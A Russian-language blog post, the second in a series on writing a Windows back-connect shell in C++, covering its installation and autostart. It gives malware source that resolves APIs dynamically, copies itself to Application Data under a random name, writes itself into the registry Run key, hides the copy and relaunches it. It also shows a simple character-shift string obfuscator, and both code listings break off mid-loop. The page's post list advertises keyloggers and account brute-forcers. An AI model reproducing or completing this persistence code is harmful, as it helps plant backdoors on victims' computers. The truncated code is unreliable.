В прошлом посте я начал данный цикл. Итак, сегодня я буду мучать вас процедурой инсталляции в систему. Она настолько банальна (ибо в боевых условиях этот шелл я не применял ни разу) что боюсь, что пост выйдет слишком коротким.

613 Бэкконект шелл. Часть вторая.

инсталляция и автозагрука

Если вы готовы, то прошу под кат.Логика инсталляции следущая:

  1. Проверяем есть ли запись на нас в реестре
  2. Если нет, то дропаемся, затем запускаем свой дроп и выходим

Вот и все. Все ясно как божий день. Код в студию:

void INSTALL(void){
        char CurrentPath[MAX_PATH];

        typedef DWORD (WINAPI *__GetModuleFileName)(HMODULE hModule,LPTSTR lpFilename,DWORD nSize);
        __GetModuleFileName _GetModuleFileName = (__GetModuleFileName)GetProcAddress(LoadLibrary("Kernel32.dll"),"GetModuleFileNameA");

        typedef HMODULE (WINAPI *__GetModuleHandle)(LPCTSTR lpModuleName);
        __GetModuleHandle _GetModuleHandle = (__GetModuleHandle)GetProcAddress(LoadLibrary("Kernel32.dll"),"GetModuleHandleA");

        _GetModuleFileName(_GetModuleHandle(NULL),CurrentPath,MAX_PATH);

        char ThePath[MAX_PATH];

        typedef HRESULT (WINAPI* _SHGetFolderPath)(HWND hwndOwner,int nFolder,HANDLE hToken,DWORD dwFlags,LPTSTR pszPath);
        _SHGetFolderPath SHGetFolderPath = (_SHGetFolderPath)GetProcAddress(LoadLibrary("shell32.dll"),"SHGetFolderPathA");
        SHGetFolderPath(NULL,26, NULL, 0, ThePath);

        char name[16];
        srand(time(NULL));
        name[0]='\\';
        name[1]='я';
        for(int i = 2;i
                      

Что тут происходит? Во первых мы получаем путь на нас, затем получаем путь для дропанья. Гы, веселое получилось слово. Этот путь вроде бы на папку Application Data. Точно не помню — за подробностями милости прошу в MSDN. Дальше мы генерируем себе имя, затем открываем ключ автозапуска и запрашиваем значение ключа. Если нам вернули то, что и до этого было в переменной, значит нас разводят, и мы не в системе… Тогда прописываемся в реестр, копируемся на диск, и делаем скрытие. После этого запускаем скопированную копию и выходим. Вот и все. Да, если вы внимательно читали код (что априори очень трудно в таком виде), то должно быть, заметили вызов функции sequrity — эта функция делает вот што:

char * sequrity(char *in,bool code){
        char *out = new char(strlen(in));
        for(unsigned int i = 0;i
                      

Тобиш, она создает результирующую строку (которую и возвращает) и получает ее из исходной путем добавление к оной числа 2 (к каждому символу). Здесь кстати будет небольшая утечка, но она не фатальна.

tt twitter big4 Бэкконект шелл. Часть вторая. tt digg big4 Бэкконект шелл. Часть вторая. tt facebook big4 Бэкконект шелл. Часть вторая. tt gmail big4 Бэкконект шелл. Часть вторая. tt myspace big4 Бэкконект шелл. Часть вторая. tt reddit big4 Бэкконект шелл. Часть вторая.

Оставить комментарий

CAPTCHA изображение
Обновить изображение
*

RSS-подписка NIG Twitter-подписка NIG

Метки
Друзья
Блог линуксоида Программы для диагностики компьютера
Супер Pixel
Убивалка флешаБэкконект шелл. Часть вторая.Бэкконект шелл. Начало.НАМ для деления чиселПростая арифметикаПередача файлов. Часть третья. Клиент.Dll injectionСканер портовКодировка текста в BMPРухнул на два дняПередача файлов. Часть вторая. Сервер.Поворот и BMPCRC32 суммаBMP форматфайловые вирусыассемблер, строкиАссемблер и матрицапримеры ассемблерМногопоточное программированиеАрхитектура клиент — серверРаздача ICQПишем шуткупишем паукаПривет от ДжеймсаОбход firewallЗагрузка картинок на Gyazo, прямо из ThunarКейлоггер 3Плюшки в контекстном меню Thunarc по сетиКейлоггер 2КейлоггерСкачать Ассемблер!VirusCheckerОтморозки мешают жить ?! Не проблемма !Cкрипты для взлома аккаунтов QIPWinAPI. Работа с файлами. Часть третья. ЧтениеDlink exploitБрут сайта etxt.ruКрасивая раскладка клавиатуры в GnomeМои безделушки на PerlКак запускать Perl скрипты под WindowsБрутфорс партнёрки ZipCoinПарсер upwap.ruИзменения в блогеЧудо ЗаливалкаСкрипт для загрузки файлов на Zalil.ruЯндекс «чоткий» поисковик!WinAPI. Работа с файлами. Часть вторая. ЗаписьWinAPI. Работа с файлами. Часть первая. ПоискПолучение MD5 хеша средствами C++Что нам стоить letitfile.com забрутить?WarCraft III запуск под LinuxЭнтропия файлаWinsock и C++. Мини прокси. Часть |\\/. Завершающая.Перепилил чекер для 4gameЧекер акаунтов YoupornCMailSend v 1.1. Отправка почы без проблемСлучайные числаWinsock и C++. Часть |||. smtp монстр.Брутфорс LetitFile.comИспользование X-Forwarded-For, для обмана веб-сервера, подмена IP подручными средствамиДело было вечером, делать было нечего…Мысли о аудио сервереПарсер ников из твиттераКонец школоло…Perl+Linux. Заметка первая (Удобный Paste bin).Бэкконект шелл.E-MAIL + winsocket + Cpp. Сложно?winsock и C++. Часть ||. Атака клоунов.C++ резолвинг адресаPerl, анализ HTML кода и определение CMSМатематика в C++winsock и C++